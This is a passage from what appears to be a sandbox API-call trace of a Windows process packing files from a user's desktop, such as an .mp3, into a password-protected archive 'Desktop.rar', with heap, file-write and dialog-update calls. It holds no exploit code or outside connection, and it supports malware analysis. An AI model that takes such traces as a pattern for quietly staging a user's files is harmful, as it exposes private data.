Ptr=0x1ec0bfefd30, Size=0x48) returned 0x1ec0a6569c0 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.171] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a657230 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.171] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0067.171] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef6a0, Size=0x48) returned 0x1ec0a657280 [0067.171] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657280, Size=0x7a) returned 0x1ec0a64aa00 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657230 | out: hHeap=0x1ec0a590000) returned 1 [0067.171] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.173] GetTickCount () returned 0x26b04 [0067.173] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15850120518) returned 1 [0067.173] GetTickCount () returned 0x26b04 [0067.173] GetTickCount () returned 0x26b04 [0067.173] GetTickCount () returned 0x26b04 [0067.173] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.173] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.173] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.173] ResetEvent (hEvent=0x344) returned 1 [0067.173] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.174] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.174] ResetEvent (hEvent=0x344) returned 1 [0067.174] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.177] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.177] ResetEvent (hEvent=0x344) returned 1 [0067.178] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.180] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.181] GetTickCount () returned 0x26b04 [0067.181] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15850994393) returned 1 [0067.181] GetTickCount () returned 0x26b04 [0067.181] GetTickCount () returned 0x26b04 [0067.181] GetTickCount () returned 0x26b04 [0067.181] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.181] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.181] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.182] ResetEvent (hEvent=0x33c) returned 1 [0067.182] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.183] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.183] ResetEvent (hEvent=0x33c) returned 1 [0067.183] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.184] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.184] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.184] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x79447 [0067.184] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x794a8 [0067.184] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.184] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.184] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.184] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.184] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x16fb0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x16fb0, lpOverlapped=0x0) returned 1 [0067.186] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.186] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.186] SetFilePointer (in: hFile=0x32c, lDistanceToMove=496711, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x79447 [0067.186] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x79447 [0067.186] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.186] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.186] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9d0, Size=0x48) returned 0x1ec0a6569c0 [0067.186] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.186] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb50 [0067.186] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb50, Size=0x48) returned 0x1ec0a656c90 [0067.186] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.186] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.187] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.187] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.187] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.187] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.187] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a656ce0 [0067.187] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656ce0, Size=0x7a) returned 0x1ec0a649ec0 [0067.187] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649ec3*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649ec3*, lpNumberOfBytesWritten=0xe414d8140*=0x61, lpOverlapped=0x0) returned 1 [0067.187] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0067.187] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x61) returned 0x1ec0a5c4e20 [0067.187] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.187] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0067.187] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x90458 [0067.187] CloseHandle (hObject=0x350) returned 1 [0067.187] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.187] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.187] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.187] FindFirstFileW (in: lpFileName="GAXF44R72SInzUMj.mp3", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.187] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.188] CreateFileW (lpFileName="GAXF44R72SInzUMj.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gaxf44r72sinzumj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.188] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.188] GetTickCount () returned 0x26b14 [0067.188] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.188] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.188] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.188] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.188] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="EKbd9czGD.bmp") returned 13 [0067.188] SetWindowTextW (hWnd=0x1028c, lpString="GAXF44R72SInzUMj.mp3") returned 1 [0067.189] GetTickCount () returned 0x26b14 [0067.189] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.189] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.189] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.189] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.189] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x2a6)) [0067.189] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.189] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15851774169) returned 1 [0067.189] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x187f7, lpOverlapped=0x0) returned 1 [0067.190] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91d837, nNumberOfBytesToRead=0xe7809, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91d837*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.190] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.190] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.190] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef9d0, Size=0x48) returned 0x1ec0a656dd0 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c600 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.190] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656b50 [0067.190] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c600 | out: hHeap=0x1ec0a590000) returned 1 [0067.190] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656dd0 | out: hHeap=0x1ec0a590000) returned 1 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0067.190] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.190] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0067.190] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa30 | out: hHeap=0x1ec0a590000) returned 1 [0067.190] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a6577d0 [0067.190] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a649f50 [0067.191] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656b50 | out: hHeap=0x1ec0a590000) returned 1 [0067.191] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0067.193] GetTickCount () returned 0x26b14 [0067.193] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15852145920) returned 1 [0067.193] GetTickCount () returned 0x26b14 [0067.193] GetTickCount () returned 0x26b14 [0067.193] GetTickCount () returned 0x26b14 [0067.193] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.193] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.193] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.193] ResetEvent (hEvent=0x344) returned 1 [0067.193] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.195] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.195] ResetEvent (hEvent=0x344) returned 1 [0067.195] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.200] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.200] ResetEvent (hEvent=0x344) returned 1 [0067.200] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.203] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.204] GetTickCount () returned 0x26b24 [0067.204] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15853241994) returned 1 [0067.204] GetTickCount () returned 0x26b24 [0067.204] GetTickCount () returned 0x26b24 [0067.204] GetTickCount () returned 0x26b24 [0067.204] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0bfefb50) returned 0x0 [0067.204] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfefb50, hwnd=0x10284, tbpFlags=2) returned 0x0 [0067.205] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfefb50, hwnd=0x10284, ullCompleted=0xa9115, ullTotal=0x4f8c9e) returned 0x0 [0067.205] TaskbarList:IUnknown:Release (This=0x1ec0bfefb50) returned 0x0 [0067.205] GetLastError () returned 0x36b7 [0067.205] SetLastError (dwErrCode=0x36b7) [0067.205] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0067.205] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0067.205] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 5%") returned 5 [0067.205] SetWindowTextW (hWnd=0x102a4, lpString=" 13%") returned 1 [0067.206] GetLastError () returned 0x0 [0067.206] SetLastError (dwErrCode=0x0) [0067.206] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0067.206] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 99%") returned 5 [0067.206] SetWindowTextW (hWnd=0x102a0, lpString=" 85%") returned 1 [0067.206] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0xd, lParam=0x0) returned 0x5 [0067.206] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.206] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.206] GetFocus () returned 0x102a8 [0067.206] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.206] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.206] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.207] GetFocus () returned 0x102a8 [0067.207] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.207] ResetEvent (hEvent=0x33c) returned 1 [0067.207] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.208] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.208] ResetEvent (hEvent=0x33c) returned 1 [0067.208] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.210] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.210] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.210] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.210] GetFocus () returned 0x102a8 [0067.210] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.210] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.210] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x90458 [0067.210] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x904c0 [0067.210] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.210] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.210] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.210] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.211] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x188e0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x188e0, lpOverlapped=0x0) returned 1 [0067.212] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.212] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.212] SetFilePointer (in: hFile=0x32c, lDistanceToMove=590936, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x90458 [0067.212] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x90458 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6d0 [0067.212] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef6d0, Size=0x48) returned 0x1ec0a6573c0 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.212] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefca0, Size=0x48) returned 0x1ec0a656fb0 [0067.212] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.212] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefca0 [0067.212] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0067.212] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefcd0 | out: hHeap=0x1ec0a590000) returned 1 [0067.212] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefca0 | out: hHeap=0x1ec0a590000) returned 1 [0067.212] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefac0, Size=0x48) returned 0x1ec0a6569c0 [0067.212] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64a730 [0067.212] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a733*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a733*, lpNumberOfBytesWritten=0xe414d8140*=0x68, lpOverlapped=0x0) returned 1 [0067.213] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef6a0 [0067.213] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x68) returned 0x1ec0a5c45d0 [0067.213] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.213] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a730 | out: hHeap=0x1ec0a590000) returned 1 [0067.213] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xa8da0 [0067.213] CloseHandle (hObject=0x350) returned 1 [0067.213] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.213] SetThreadExecutionState 